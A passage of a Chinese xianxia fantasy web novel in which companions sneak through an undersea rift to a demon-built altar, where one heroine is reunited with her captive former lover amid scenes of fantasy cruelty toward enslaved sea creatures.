气氛无端有些奇怪,霖娘与积玉相视一眼,阿姮半浸于泥潭,只觉得额角隐隐发烫,烫得她整个脑子也像被煮沸了似的,她忍不住伸手去摸那片地方,青龙化身成人形,落到潭边,她那双龙睛一眼便看清阿姮额角那几点化不开的污泥在隐隐发光,神情顿时一变:“阿姮姑娘,你额角的泥痕是怎么来的?” 霖娘看着阿姮额角的痕迹,却先想起来:“好像……好早就有了!我之前帮她擦过,可是我怎么擦都擦不掉,后来,又莫名其妙不见了!公主,莫非您知道那痕迹是怎么来的?” 龙女指了指潭中萎靡不振的百花:“此花名为神萦,在我龙族占领东海之前,几乎整个东海海底都生长着这种花,它看起来洁白如玉,风姿无限,可玉蕊之中却暗藏利齿,有动物的本能,暗流送来的鱼群常常是它们的食物,但对它们来说,更美味的是一切生灵的神魂。 人们曾觉东海神秘,很大一部分原因是因为那些敢到东海上讨生活的人没有一个活着回去,正是因为这神萦作祟,它们所散发的香气引诱了很多人,它们吃掉那些人的血肉,吞噬他们的神魂,然后在海底疯长。我父王占据东海之后,花了百年才终于将这神萦除得只剩下幽隙里的这一处。” 积玉看到花丛中凝结的珠蕊,想必这东西是吃多了那些捕鱼采珠的凡人才最知道如何引诱他们,如今生得这副模样,那粒粒珠蕊竟比珍珠要夺目:“既然此花如此凶险,又为何你父王还要留下这一处?如此害人的东西,合该灭个干净才是!” 积玉话音方落,花丛顿时瑟瑟而动,果然,它们是能听得懂人话的怪物。 “此处,乃是我父王为阴司中的孟婆所留。” 龙女说道。 “什么?孟婆?” 霖娘愕然。 阿姮听到这两个字,哪怕脑子里烫得不得了,她也还是下意识地看向潭边的龙女,龙女一时被他们所有人注视着,便继续说道:“神萦虽是吞噬神魂的恶物,可由它根须养出来的这片污泥潭却是孟婆最好的花肥,她每年都会来此取神萦花泥回去养她那片还魂林。” 阿姮恍惚中,想起阴司奈何桥畔的那片花荫,她想起那个交易,她用寻回谢氏女的执根与孟婆交换驯服万木春的办法。 那时,孟婆似乎在她额头点了两下。 “什么还魂林……”霖娘虽去过阴司,却并未将那里逛全,她百思不得其解,“可阿姮额角的泥痕是神萦花泥,这泥又有何特别之处,为什么擦不掉呢?” 龙女摇摇头:“此花虽在东海,此处却早已被我父王许给孟婆,严格意义上来说,它们并不是我龙宫的东西,孟婆用它来做什么,我亦不知情,我想阿姮姑娘方才之所以会掉入这潭中,是因为她额头的旧泥痕,她熟悉神萦花泥的味道,所以轻易便被神萦花引诱,至于她额头上的旧泥痕为什么擦不掉……我也不清楚。” 这片神萦花早已不属于东海,龙女又年纪轻轻,自然对许多旧闻都不甚了解,若是东海龙王,也许还能说得出这神萦花泥对孟婆究竟有何妙用。 积玉不禁看了一眼身旁的黑衣少年,他一直静默地站在一旁,那双眼睛自始至终盯着神萦花丛中的阿姮。 阿姮迟钝地垂眸,眼前这片神萦花无不萎顿,颤抖,玉蕊浑圆如珠,晶莹剔透,又似流露将滴未滴,她伸出手去,那神萦动也不敢动,任她摘下一枚花珠。 此时,潭边几乎同时伸来两只手,阿姮抬眼,那黑衣少年修长的指节舒展,掌心还沾有泥污,那是他给她擦脸的时候弄的,否则凭借他的金身,世间万般污秽都休想沾惹他半分。 霖娘见程净竹伸了手,便立即要缩回手,阿姮却在此时抓住她,借了几分力,轻巧地从神萦花潭里上了岸。 “阿姮……” 霖娘脸色古怪,看了一眼程净竹,又看阿姮,搞不懂这奇怪的气氛到底是怎么一回事,阿姮竟然真如此避讳,连……连手也忍心不拉了? 阿姮没有说话,她几乎面无表情,只用衣袖缓缓揩去脸上的脏污,那双眼睛始终微垂着,令人看不清她分毫神情。 程净竹盯着她,收回手,握了握沾满脏污的掌心。 “阿姮姑娘……没有任何不适吗?” 龙女近前观察了阿姮一番。 阿姮摇头:“没有。” 龙女其实也并不知道这神萦花泥会对人造成什么影响,此时见阿姮语气如常,似乎神萦花香对她的影响已经消失,龙女放下心,对他们说道:“此处是东海最隐秘的一处幽隙,鲜有人知,那些归顺天衣人的水妖绝想不到,通过此幽隙,便更接近他们所建造的那处祭台,若非被那黑蛟紧咬不放,我早该来这里了。” “公主早打算通过这幽隙伺机营救那些海兵和凡人?” 积玉说道。 “我原本是打算等我的亲随去北西南三海搬回救兵再救他们,”龙女蹙起眉头,“可眼看这祭台将成,那些仅存的海兵和凡人只怕都要活不成了,可我父王说过,龙宫海兵,水中精怪,还有世代长居于东海境内的凡人都是我的子民,我身为东海公主,不能眼看他们被天衣人残害。” “公主确信你的亲随可以如你所愿搬回救兵?” 程净竹忽然开口:“当初西海一战,西海虽因敖聿之死而臣服东海,可东西两海之间的仇怨已然结下,四海之中,本就是东海势大,西海次之,天衣人只怕正是清楚这一点,所以有恃无恐,西海若要趁此机会争这四海之主,四海大乱,烽烟并起,北海南海必然也无暇他顾,公主的亲随便也搬不回一名救兵。” “我知道。” 龙女垂眸,她没有血色的脸庞看起来十分平静:“即便机会渺茫,我也不能不去试着争取,如今上界神阙已空,诸位神仙早已下界救苦救难,我东海之困,他们无从得知,可我不能不管我父王,也不能不管我东海子民,哪怕我一个人战死,我也要死守东海。” 若不是这该死的黑水,若不是那恐怖的疫毒,东海何至于此呢? 龙女神情哀哀,双眼却又异常坚定。 “公主如今也不算孤身一人。” 霖娘说道:“我们本就是为了救人而来,如今既然有这直通祭台的幽隙,无论如何,我们也要试上一试!” “对!” 积玉拔出背上金剑,道:“虽不知天衣人建那祭台到底做什么用,但对他们有用的东西,我们都该毁去,那些海兵还有凡人,我们也要尽力一救!” “多谢你们。” 龙女满怀感激,一挥手,四枚亮晶晶的东西飞入他们四人胸口,龙女说道:“这是我的龙鳞,它是至坚之物,可以护住你们的心脉。” 霖娘摸了摸胸口,没摸到那龙鳞的痕迹。 “前面有很多暗流,你们一定要跟紧我。” 龙女飞身而起,往前面更深邃幽暗的缝隙中去。 积玉立即掠身追去,程净竹回头看了一眼阿姮,四目相对,静无一声,他飞身顺水流而去,霖娘拽了拽阿姮:“阿姮走啊。” 阿姮盯着程净竹的背影,捏了捏掌心的神萦花珠,她瞥一眼那花潭,红雾浮动,数枚神萦花珠落到阿姮袖中,她不作停留,抓着霖娘飞去。 潭中神萦花丛簌簌不止,花叶蜷缩。 阿姮将霖娘扔到积玉的金剑上,越往前,海底浮石越多,越密,它们连成一片,生出无数个洞穴,无数缝隙,犹如天然的迷宫。 洞穴中幽暗极了,积玉觉得金剑一动,他回头,隐约见阿姮在他身后,前面霖娘正施展术法抵抗涌来的暗流,此时,积玉听见阿姮的声音:“喂。” 阿姮声音很轻。 积玉早习惯了她这副没礼貌的口吻:“你怎么看起来怪怪的?” 阿姮没有回答,却问他道:“你曾说过,你小师叔的元神落到山中被你师祖和师父发现,他们找了副凡人壳子给他,保住他的性命,那你知不知道,你小师叔做人之后,还记不记得他作为白泽时的所有记忆?” 积玉不知道她为什么问这个,他摇头:“小师叔他一向寡言,没有谁可以猜透他的心事,自然也就无从得知这些。” 但他想了想,说:“可观小师叔在岐山上的种种举止,他应该……也不是什么都不知道吧?至少,他记得他的身份,至于其他,我也说不好。” 阿姮没说话。 她觉得自己似乎多此一问了。 若他不记得,那么惠山元君口口声声唤他殿下,他也并不惊谔,若他不记得,那么他曾经也不会动用白泽的神力帮积玉寻得他母亲唯一的遗物。 若他什么都不记得,那么他又何必去赤戎。 汹涌的暗流顺浮石孔洞激荡而来,霖娘在前面大喊:“小心!” 阿姮缀在最后面,被水流猛然一冲,也不知将她冲到了哪一处孔洞之中,泡泡被多次撞击,这回终于是裂了,她抹了一把脸上的水,抬头只见深邃的黑,积玉和林娘早不知哪里去了。 浊黑的水流密密匝匝将阿姮包裹,那种被黑水河禁锢的感觉袭来,阿姮化身成雾,逆流而去,她所过之处,水流沸腾,红雾弥漫。 霖娘好不容易捱过暗流的冲刷,前面龙女停下来,喊道:“你们没事吧?” “他们呢?” 程净竹回身迅速落到霖娘身边。 霖娘一回头,这才发现自己身后竟然空无一人,她大惊失色:“他们怎么不见了……” 积玉的金剑还在霖娘脚下,要找到他并不难,程净竹并起双指,金光弹了一下金剑,发出锵然之声,金剑立即调转方向,追寻它主人的气息而去。 穿过几重缝隙,金剑将他们带到积玉面前。 “小师叔?” 积玉有些狼狈,他的泡泡破了,但好在事先服了避水丹,那些浊黑的水流一时并不能近他的身,他才要给自己再造个泡泡,便见程净竹与霖娘、龙女被金剑领到他面前来。 程净竹见只有他一人,便问道:“她呢?” “我也不知道,”积玉忙说道,“方才那暗流来得太急了,我正和阿姮说话的功夫,就被冲散了,我也不知道她被冲到哪里去了……” 程净竹下意识去摸腕骨,却意识到他的那串霞珠早就随了个干净。 仅有一粒在阿姮手上,但他却并不能凭那一粒霞珠及时辨别她的方位了。 幽隙中的暗流又急又冷,阿姮周身的红雾弥漫出去,将海水烧得发烫,她在这片浮石孔洞中胡乱地钻,她讨厌这浊黑的水,讨厌这样漆黑的石洞,她越是钻不出去,越是觉得压抑,她变得急躁起来,迫切地想要摆脱这种潮湿的,幽暗的,无穷无尽的裹覆。 偏偏此时,额头那片皮肤像被什么烫得要破了,她伸手又摸到那泥痕,无论她怎么蹭,那泥痕都始终紧紧地依附在她额角那寸皮肤上。 “别白费力气了,孟婆若要害你,你当初绝对无法活着离开阴司。” 忽然,阿姮听见这道声音,这声音钻在她的脑子里,分明是万木春的声音:“神萦花吞噬了太多人的血肉,神魂,它们根须下的泥就成了修补神魂的良药,你的神魂曾不止一次被碾碎过,只有神萦花泥可以为你拼凑你失去的东西,等你什么都想起来了,这泥痕自然而然便消失了。” 拼凑……她失去的东西? 阿姮缓缓抬起眼帘,什么是她失去的东西?是方才在神萦花潭里短暂的一梦?是那梦中的白泽,梦中的自己? 她想起来,碧瑛似乎也曾说过。 她的神魂被碾碎过。 “你难道不想要那些过去?” 万木春的声音再度响起:“可若是那些东西对你不重要,那么就算是神萦花泥也无法对你起效。” 重要的……东西? 阿姮没有办法再想下去,她焦躁极了,她疯狂地想要毁掉这片浮石幽隙,她要出去,她要逃离这片紧紧裹覆着她的黑水。 红雾随她焦躁的心绪而化成炽盛的火焰,金电在之中勾缠闪烁,不断发出“滋滋”的声音。 阿姮往浮石孔洞更深处去,她周身红云烈焰越积越浓,浮石震动,数道孔洞中暗流齐发,奔涌而来,与红云烈焰迎面相撞,惊涛骇浪,震动整片浮石海崖。 阿姮被巨大的冲击力震得身形不稳,被暗流裹挟冲刷而去,忽然,她腰间像是被什么缠住,瞬息之间,她被带出湍急的水流,钻入一个狭窄的空洞之中。 一只手攥住她的手腕。 阿姮抬眸之际,额头被贴上一张白符。 汹涌的波涛在这小小孔洞之外,奔流不息,剧烈的水声中,阿姮暗红的双眼清晰地望见面前这黑衣少年面无表情的一张脸。 “这幽隙中的暗流无比凶险,稍不注意你便会被其带去不知名的暗隙,你可知整个东海有多少暗隙?暗隙之中又有多少危险?” 他盯着她的那双眼冷极了:“我很好奇,你与积玉之间到底是有多紧要的事要说?” 这孔洞狭窄极了,霖娘方才从另一边钻过来,刚露了头,看见孔洞口的两人,又听见程净竹这句话。 此时,积玉也钻到她身边来:“你怎么不动……” 话没说完,嘴被霖娘给捂住了,霖娘一把将他脑袋按回去,自己也缩了回去,最后面的龙女猝不及防被霖娘蹬了一脚,霖娘勉强回过头,苦着脸小声说:“对不起公主……” 然后她指了指前面。 三人一时间都不动了,竖起耳朵听前面的动静。 阿姮额头的白符化成一颗泡泡将她包裹起来,那些紧密地裹覆着她的黑水退去了,水珠顺着她的下颌滴落,她紧绷的,僵直的脊背下意识地放松了,但她迎上面前这个人的目光:“我和他说什么都和你没有关系。” “放开我。” 阿姮试图挣开他的手。 程净竹却纹丝未动,他的指节甚至更用力,牢牢地攥着她的手腕,这洞穴太狭窄,两人之间的距离也很近,他仅仅只是略微倾身,彼此的呼吸便近在咫尺。 “你在生我的气。” 他乌浓的眼睫微垂,凝视着她的脸:“为什么?” 阿姮被他紧攥着手,脸色本来就臭,听他这样说,她与他相视,似笑非笑:“小殿下,我哪敢生您的气啊?” 洞穴外,水流激荡,不断冲刷着嶙峋的石壁。 程净竹盯着她,并不说话。 阿姮那点装出来的笑意顿时消失殆尽,她沉下脸:“你凭什么觉得我在生你的气?你无端问我,是希望我给你怎样的回答?怎么?我的答案你不满意吗?还是你希望我告诉你什么?那你呢?” 阿姮垂下眼帘,看向他紧紧抓着她的那只手:“小神仙,你又在生什么气?” 他是白泽,所以他可以找到赤戎。 他是白泽,所以他知道那座神山的秘密,知道黑水村人生青骨病的缘由,他什么都记得,所以永远那样从容。 “你好像什么都知道,而我却什么都不知道,”阿姮望着他,像想要看穿他,可从他那副眉眼,那样的神情,她始终什么都看不出来,“小神仙,你的心里在想些什么呢?你总是不爱说话,是不想说吗?为什么?是否看我这副傻呼呼的样子,你总觉得好笑?” 程净竹观她这副盛怒的模样,总觉得那神萦花丛悄无声息地改变了什么,但到底是什么呢? 他听不明白她的话,却从她那双愤怒的眼睛里看到她的惊慌,她的迷茫,他开口:“我……” “算了,你想说,我却不想听了!”阿姮越想越气,万木春没有理由骗她,所以神萦花丛中她梦到的那些便是她遗忘的东西,明明他是白泽,明明在那座神山里,他们早就相识。 他却始终什么也不说。 时至今日,阿姮才终于明白,那句“神丹不老姮娥鬓,乞取刀圭驻玉容”也没什么特别的,她甚至根本不懂人类这破诗的意义,怎么当初黑水河畔那小孩儿一念,她便记住了,后来阴雨绵绵的草檐之下,那个从外乡来义诊的小神仙摘下她额头的朱砂黄符,问她名字,她竟然下意识便从那破诗里挑了个字来应付。 那原来不是随便的应付。 是有人曾经送给她的礼物。 阿姮咬紧牙关,酸涩充盈她的鼻尖,浸湿她的眼眶,可她仍然凶恶地瞪着面前的他。 “阿姮,你要告诉我,我到底哪里惹你生气,我才知道我错在哪里。” 程净竹看着她那副泪眼,声音不自觉放轻。 “我凭什么告诉你?” “不告诉我,却告诉积玉?” “你老提积玉干什么?烦死了!”—— 作者有话说:积玉:“关我什么事?????” 第79章 第79章 金芒陡盛,独照她身。 079: 浮石中生长着不知名的水草, 水草上附着的幽绿碎光几乎是这洞穴之中唯一的光线,程净竹盯着阿姮气鼓鼓的背影,霖娘跟在她身边,被她的泡泡裹了进去。 “小师叔……” 积玉像条鱼一样缓缓游荡到程净竹身边, 脚踩金剑, 语气幽怨:“是她莫名其妙先来问我的。” 程净竹转过脸来, 冷冽的碎光不时点缀他那副深邃的眉眼:“她问你什么?” “她问我,你成为凡人之后是否还有白泽的全部记忆,”积玉到此时也没明白阿姮问他这个做什么, “真不知道她到底在想些什么, 您如果什么都不记得, 又如何帮我找到我母亲的遗物, 又如何……如何保住那冬螓的性命呢?岐山之上,她早该有答案的。” 诚如积玉所言, 岐山之上, 程净竹是白泽化身的事早已不是什么秘密,阿姮根本没有必要再向积玉确认这样一个既定的事实。 可她为何要问? 穿行于浮石洞穴之中, 碎光交织成一片幽微的光影, 程净竹想起那片神萦花丛, 阿姮的一切怪异都是从那里开始。 神萦花泥一定对她有特别的作用, 否则孟婆绝不会多此一举。 她问积玉的话也许重点并不在于他白泽的身份, 而在于——他作为白泽的记忆。 电光火石的一瞬。 程净竹抬眸盯住前面那少女不甚明晰的背影,已然猜透了些什么。 “小师叔?” 积玉疑惑地喊了声。 “没什么。” 程净竹语气平淡。 穿过浮石幽隙,避开重重暗流, 眼前豁然开朗,此时阿姮方才发现,原来那祭台竟建在一片凹陷的裂谷之中, 绵延起伏的海岭簇拥着祭台,如此接近的距离,阿姮更直观地感受到那祭台的巍峨。 他们藏身于海岭中狭小的缝隙内,阿姮垂眸看去,整齐的石阶犹如一条玉带垂下去,逐渐隐没于更加浊黑的海水里,那片深邃的黑暗中,时不时浮起来一颗又一颗泛光的泡泡,像一粒又一粒的碎光,仔细看,泡泡里都藏着人影。 他们上上下下地忙碌,像黑暗中一簇簇幽微的烛火,战战兢兢地燃烧着。 裂谷中震动起来,海水更加浑浊,驻守在谷中的妖怪们升起来一根石柱,伴随着极细的尖啸,幽绿的磷光逐渐照亮这片海域,阿姮五人谨慎地贴着石中缝隙避开那光线。 此时,那石柱完全升起,自海崖裂缝向下望,阿姮见到那巨大高耸的石柱上粗壮的锁链锁住一条色白而剔透的生物,那东西周身生着茸茸的,极其细长的触手,那些触手全都粘在锁链上,却无法撼动它分毫,它如蛟一般巨大的身躯因挣扎而嵌进石柱,被勒得更紧,森寒的弯钩钉穿它的腹部,底下一群鱼妖用力勒紧锁链,那铁索穿过它的身躯,它发出更加刺耳的尖啸,身躯却在猛烈的震颤中迸发出更加明亮的磷光。 “那是什么?” 阿姮从没见过那东西。 龙女喉咙发紧:“那是海筹,他曾是我父王座下海将军,曾跟在我父王身边也是一员猛将,那日他为救我父王被天衣人擒住,定是这黑水疫毒害他,这些恶贼……竟然将他一身鳞甲全剥了……” 龙女的声音发颤:“海筹生来身带磷光,若遇刺激,则磷光更甚,可照彻通海,他们竟然如此侮辱海筹将军!” 海筹本有一身坚硬的鳞甲,在东海也曾是为威风凛凛的将军,如今却落得这步田地。 被海筹明亮的磷光照亮的裂谷深处,巨鼋驮着精铁和玄武岩缓缓爬来,它背上的壳因长久地运送重物而被压得凹凸不平,四只脚都有不同程度的溃烂,尖锐的铁钩穿过它的腮部,数只水妖扛着锁链,不耐地拖拽它沉重的身躯挪动到祭台底下。 它体力不支,跪倒下去,四肢竟然被自己的壳齐齐压断,它却发不出什么声音,海底的泥沙因为它沉重的身躯而卷起浑浊的影,那些被锁链穿在一起的海兵们还没卸下它身上的重物,便被这血肉横飞的一幕吓得魂飞魄散。 巨鼋断了气,水妖们却习以为常。 幽幽磷光照见祭台之下,泥沙之中无不是龙宫精怪的尸首,残肢断臂,触目惊心。 龙女忍泪,对四人道:“我观那何罗鱼不在,定然是方才我们惊动那水草中的陷阱,引得他此时领兵去追捕我们了。” “什么何罗鱼?” 积玉问道。 “那是个生着一个脑袋十个身子的怪物,他是跟随天衣人一起来的,这些闯入我东海的水妖全都听他的号令。” 龙女说道。 阿姮有点难想象一个脑袋十个身子是什么鬼样子,她观底下情形,驻守在祭台下的水妖实在多如牛毛:“你如此害怕那怪物,想必他定然十分厉害,按理说,他此时不在,如今正该是我们的机会,可底下这么多的耳目,要悄无声息地救走这么多的凡人,还有你龙宫海兵,只怕绝无可能。” “那我们不如便先将这祭台毁掉,”积玉盯着那祭台,目光如炬,“他们这些妖怪是为天衣人修筑祭台的旨意而在此,若祭台损毁,他们必然大乱,届时,我们或可趁乱行事!” 积玉说完,不由看向身后的程净竹。 一时间,其他三人的目光也都落到他身上。 程净竹对上阿姮的目光,阿姮立即转过脑袋去了,他这才瞥一眼缝隙外那祭台高耸的廓影,说道:“这祭台没那么简单。” 海筹磷光的照射之下,幽深海底一览无余,衣衫褴褛的中年男人被包裹在一颗气泡中,从玉带阶高处往下望去,只一眼,他的脸色便煞白起来:“他们成精也不易,怎么这些妖怪对待自己的同类……竟然也如此残忍!” 幽绿的磷光中,凡人们个个脸色惨白,有个离他近的,手里的刻刀都要握不住,哆嗦着说:“我方才下去接石料的时候听到那些妖怪嫌咱们太弱,那些龙宫海兵在这黑水里尚能苟延残喘些时日,咱们若没有这气泡遮身,不淹死,也早病死了……” 冷冽的光影映照那中年男人沧桑的脸,他望向眼前这祭台,纹饰栩栩,巍巍如山,语气沉重:“柳先生说得对,这祭台修成之日,咱们便与那些海兵们是一样的下场!” 死亡的危机无时无刻不笼罩着他们,杂声隐隐涌入祭台上水妖的耳中,那生着两条极长的黑须的鲶鱼精鱼眼阴冷地一转,目光钉死在那中年男人的身上。 中年男人顿时浑身汗毛倒竖,整个人僵住了,脸颊肌肉不住地颤动,那鲶鱼精步履很轻地朝他走过去,中年男人只觉得自己胸腔里的心脏都被狠狠攥住了似的,而鲶鱼精看他的目光十分压抑,那竟然是一种对食物的贪婪。 “若此时少一个人,只怕又要多耽误不少工夫。” 忽然,一道声音传来。 那中年男人听见这声音,瞳孔一颤,立即看过去,那青年被轻盈的气泡毫不费力地托了上来,他生得文质彬彬,看起来手无缚鸡之力。 鲶鱼精似鱼非人的面孔上露出一个笑容,他的声音沙哑极了:“他太不安分了,我想,若我只是享用一份新鲜的人舌,何罗鱼大人是绝不会怪罪我的……” 变态! 大变态! 一旁的中年男人木着一张脸,望着鲶鱼精那副像馋了八辈子,简直快要流口水的样子,心中疯狂地尖叫起来。 “人类很脆弱,你拔了他的舌头,他若血流不止,一定会死。” 那青年说道。 鲶鱼精不是很清楚这些,因为他往年吃人都是一整个吃,到了这儿,偏偏守在这些人类面前,却不能咬上一口。 越想越气,鲶鱼精瞬息扼住青年的脖颈,恶狠狠道:“你在得意什么?若不是你对何罗鱼大人还有些用处,我早吃了你!” 鲶鱼精的嘴一张一合,腥臭味扑面而来,青年凭借极大的定力屏吸凝神,艰难出声,语气也还保持谦恭:“鲶鱼大人,您有多年的吃人经验,想必最知道人类实在脆弱不堪……” “你们人类的确脆弱不堪,要不是天上那群玩意庇佑着你们,这世间岂轮得到你们来主宰?如今却不一样了,待天衣神族占据神阙,这世间便该是我妖族的天下!” 鲶鱼精越说越激昂,鲶鱼须都飞到青年脸上去了,青年气弱,喉咙生疼,脸色都有些发紫:“可眼下祭台需要他们,不是吗?鲶鱼大人,给他们些食物吧,否则他们饿死了,您与何罗鱼大人都难辞其咎。” 鲶鱼精通常只是比较馋,不会那么轻易感到饥饿,所以他并不能理解为什么人类那么弱,还要一天三顿,他冷着脸把青年扔了出去,一招手,蛤蜊跟下雨似的落了一地,那中年男人看鲶鱼精领着数名精怪往玉阶底下去了,立即上前去扶起那青年:“柳先生,您没事吧?您何必跟那妖怪说那么多呢!” 眼下是到了饭点,所有人终于敢放下手里的工具,一窝蜂地将那青年团团围住,青年靠着石柱缓了缓,咳嗽几声,道:“我这叫能屈能伸……” 有个年轻人叹了口气,看着满地还会动的蛤蜊,神情痛苦:“又是蛤蜊……他们这些妖怪是欺负蛤蜊没有成精的吗?” 这里的水妖乌泱乌泱一大片,各式各样的都有,就是没有蛤蜊精。 “我想吃鲶鱼。” 那中年男人惊魂未定,恨恨地磨了磨牙:“我娘最会煮豆腐鲶鱼汤了。” “夭寿了!你快闭嘴!” 一个老头大惊失色,连忙捂住他的嘴。 海崖裂缝中,阿姮几人终于找准机会,龙女化成青龙,身影如电,驮着他们悄无声息地往祭台去,此时龙女的龙尾不小心扫过明亮之处,几人心中皆是一凛,却见那磷光猛然微弱下去。 青龙一滞。 祭台底下水妖们发出一阵杂声,谁都不明白磷光怎么变暗了,数名妖怪又去拽那粗壮的锁链,拽得血流如注,那石柱上的海筹身躯扭动,尖啸声声,磷光却始终幽暗不明。 龙女知道,海筹将军发现她了,他正在因她而拼命地遏制自己的本能,不让磷光照亮祭台,不让水妖发现她的存在。 龙女仅停顿一下,身影快速掠去祭台之上,刹那间磷光朗照,底下的水妖们停止拉拽锁链,石柱上海筹沉重地喘息着,而龙女与阿姮他们几人此时已安然隐于祭台上一尊石刻异兽之下。 一群凡人正扒开蛤蜊壳,捏着鼻子生嚼蛤蜊,这东西他们天天吃,有个年轻人没吃几口便忍不住吐了,吐完抬起头,正见对面石刻之下,不知何时竟立着三女两男。 年轻人吓了一跳:“你们……是谁?” 他的声音惊动所有人,人们全都转头看了过去,只见那青衣女子额角生着珊瑚似的东西,在她身旁,则有个紫衣女子,那女子头发如海藻一样长,靠近鬓发的那寸皮肤上生着一片细细的银鳞,她的脸色惨白得不像人类,反倒是那红衣女子看起来与人无异,只是她忽然一抬眼,人们才发现,她竟然有一双暗红的眼睛! 那两个男子看起来则正常得多,那青年身背金剑,眉心一点朱砂红,看起来十分正气凛然,而他身边那个年纪较轻,看起来约莫只有十七八岁的黑衣少年眉心隐约一道细细的血线,腰间系着一根银色的法绳,点缀的珠饰漂亮到令人移不开眼。 被人们簇拥着靠在石柱上的青年捂着剧痛的脖颈,好不容易吐出口气,他随人们的目光望去的刹那,整个人都顿住了。 数百张陌生的脸中,阿姮一眼看到那青年的脸,她一愣,立即看向身边的霖娘,霖娘此时已然呆住了。 她瞳孔紧缩,一瞬不瞬地凝视着那靠着石柱,被半透明的气泡包裹在其中的青年,他的发髻还算整齐,鬓边却狼狈地落下几缕,那张脸十分清瘦,却不减他半分俊秀,他拥有那样一双温润的眼睛,一身淡青色的棉布衣衫,整个人看起来浸透着一股书卷气,他缓缓地站起来,竟然比她记忆中的那个人,还要高出一些。 “霖娘……?” 他难以置信地开了口,声音与霖娘记忆中的人重叠。 霖娘觉得自己胸口隐隐作痛,因为她关于这张脸最后的记忆,是她的心被人一把掏出来的那个时候,可她又清楚地感受到,看似同样的眼睛,那时那个人望着她,却总让她觉得胆战心惊。 那竟然,竟然是……柳郎? 霖娘不知自己是如何走到他面前去的,幽幽磷光下,他们身处一片被巨大石刻挡住的阴影里,霖娘小心翼翼地审视他的脸,声音发颤:“柳郎,是你吗?” 柳行云亦无论如何也没有想到会在东海见到阔别多年的心上人,他觉得自己仿佛身在梦中,垂眸望她,眼眶顷刻湿润:“自然是我。” “可你为什么更高了?” 霖娘说。 “离开家乡时我才十七岁,几年过去,身量自然变化。” “你为什么这样瘦?” “风餐露宿,自然消瘦。” 柳行云不明白她为什么要问这些,但他仍然一一回答,却忽然见她眼泪如珠滚落,又听她说:“你可去过岐山?” 柳行云一怔:“你怎么知道?” 不对,这显然不是最重要的,他凝视着面前的霖娘,她也有所不同了,从前她的头发没有这样长,她的脸色也不会如此惨白,她的额头更没有那样诡异的银鳞,柳行云抓住她的手,透骨的冰冷袭来,他一顿,却没松开:“你怎么会……” 怎么会这样? 为什么这样冷,冷得不像是一个人。 “到底发生了什么?你是如何出来的?” 柳行云紧紧地凝视着她。 霖娘何其熟悉他如此的目光,如此柔和的神情,霖娘下意识地要去遮自己额边的银鳞,但她的手又忽然顿住了,她轻抬起泪眼,说:“柳郎,我已经死了,如今你所见到的,我的这副模样,便是我作为水鬼的模样,我……早已与你不同了。” “什么鬼……” “水鬼……天哪!她说她是水鬼……” 人们大惊失色。 阿姮在不远处望着霖娘的背影,从前霖娘在乎很多人的目光,那些陌生的,熟悉的,无论是谁向她投以一个眼神,她都会拼命掩藏自己,试图让自己看起来和常人无异,她太臭美了,太在乎这些东西。 可是不知道什么时候起,霖娘好像不那么在乎了。 甚至如今在她心爱的情郎面前,她也可以勇敢地面对他的目光,不再躲闪,更无须自卑。 “为什么……”柳行云眼眶骤红,紧紧地攥着她的手,“是谁害了你吗霖娘?为什么会这样……” 柳行云曾设想过很多回再见霖娘的情形,可他怎么也没有想过,在他不知道的时候,霖娘死了,化成了水鬼。 霖娘扑到他的怀中,闭了闭眼,眼泪潸然:“柳郎,不必为我难过,我虽死,却有这样的造化还能再遇见你,这对我来说已经很好很好了。” 柳行云拥着她,绷紧下颌,眼睑浸出泪来:“对不起,对不起……” “你从来没有对不起我,你是为黑水村所有人的性命冒险出来的,我知道,我一直都知道,你想救我爹,想救他们……”霖娘说着,却觉得脸颊渐渐变得温热,濡湿,她的声音戛然而止,猛地抬起头来,只见面前这个人的衣襟竟然变得血红。 霖娘迅速扒开他的衣襟,猝不及防见他胸腔正中一个血洞,里面似乎钉了根什么东西,像一截鸟兽的指甲,漆黑,尖锐,浑浊的火焰如蛛丝般从血洞里蔓延出来,覆盖他的胸膛。 很显然,因霖娘这么一抱,那东西更深几寸,所以才引得那伤处鲜血直流,柳行云满鬓冷汗,嘴唇血色尽失,几乎要站不住,霖娘俯身将他环住,惊慌道:“这是什么东西?柳郎,谁弄的?” “是那只大妖怪何罗鱼。” 那中年男人旁观了会儿,也明白过来,这水鬼姑娘似乎是柳先生的心上人,便大着胆子说道。 “一条鱼,怎么有这样厉害的指甲?” 阿姮走近,看了一眼柳行云胸腔中间的血洞。 “何罗鱼生来便有两个本相,在水为鱼,在天为鸟,”程净竹走近柳行云,“他作为鸟的本相属火,指甲钉入人的血肉里,必然使人烈火焚身,痛苦不已,他到底为何如此折磨你?” “你明明已在炼狱当中,又逃不出去,那何罗鱼何至于如此对你?”龙女走过来,也觉得十分奇怪。 “这位是龙公主,”霖娘眼睑还湿润着,见柳行云看向他们,便吸了吸鼻子,说,“这是阿姮,那个是积玉,还有这位,这位是程净竹程公子,柳郎,他们都是我的朋友。” 柳行云缓了会儿,说:“我自出来,一直在寻找治疗黑水村人青骨病的良方,为此,我跋山涉水,遍试百草,可我渐渐发现,普通的药石对于青骨病的作用微乎其微,所以我开始寻找那些常生长在奇绝之地的奇花异草。” 柳行云像陷入冗长的回忆:“我遍访玄门,得他们指点迷津,我意识到,青骨病也许根本不是一种病症,而是这世间极致充盈,极致精纯的清气对血肉之躯的破坏,异化,我很沮丧,因为这世间的清气浊气远不是我这样一个寻常的凡人医者所能触碰的玄妙,但我不甘心,听闻东海有珍奇,所以我来到此地跟着这些渔民一起出海,想看看能不能有什么新的发现。” “但没想到巨大的风浪打翻了船,我和他们一起沉到水里,被水妖擒住,然后被他们封在气泡里带来此处修建祭台,渔民除了捕鱼,也会建造屋舍,但我却一窍不通,对他们来说,我毫无用处,本该是个死人了,但我无论如何也不想命丧于此,几番周旋之下,竟被我发现那何罗鱼正在忍受火毒。” 柳行云说道:“我曾在岐山受一位碧瑛山主指点,方知这外面的天下之大,无奇不有,碧瑛山主是妖,知道的妖诡之事自然许多,我那时开了眼界,在岐山那段日子,我发现,其实草木鸟兽修成精怪,成了人形,亦有自身病苦。 那何罗鱼生来怪异,一双本相世间少有,两个本相每隔十年交替一回,而今,他的主相正是鸟相,但他归顺了天衣人,不愿放过天衣人交给他的这个占领东海的重任,所以他强忍禁锢鸟相之痛来到东海,可他在水中一日,便要一日受火毒所侵,而我行走山川日久,虽至今未得除去青骨病的解法,但珍奇灵草却攒了一些,他的火毒,用我的药方可以缓解。” “何罗鱼如此待我,是担心我在给他的药里动手脚。” 柳行云一口气说了这么多,有些气弱。 碧瑛。 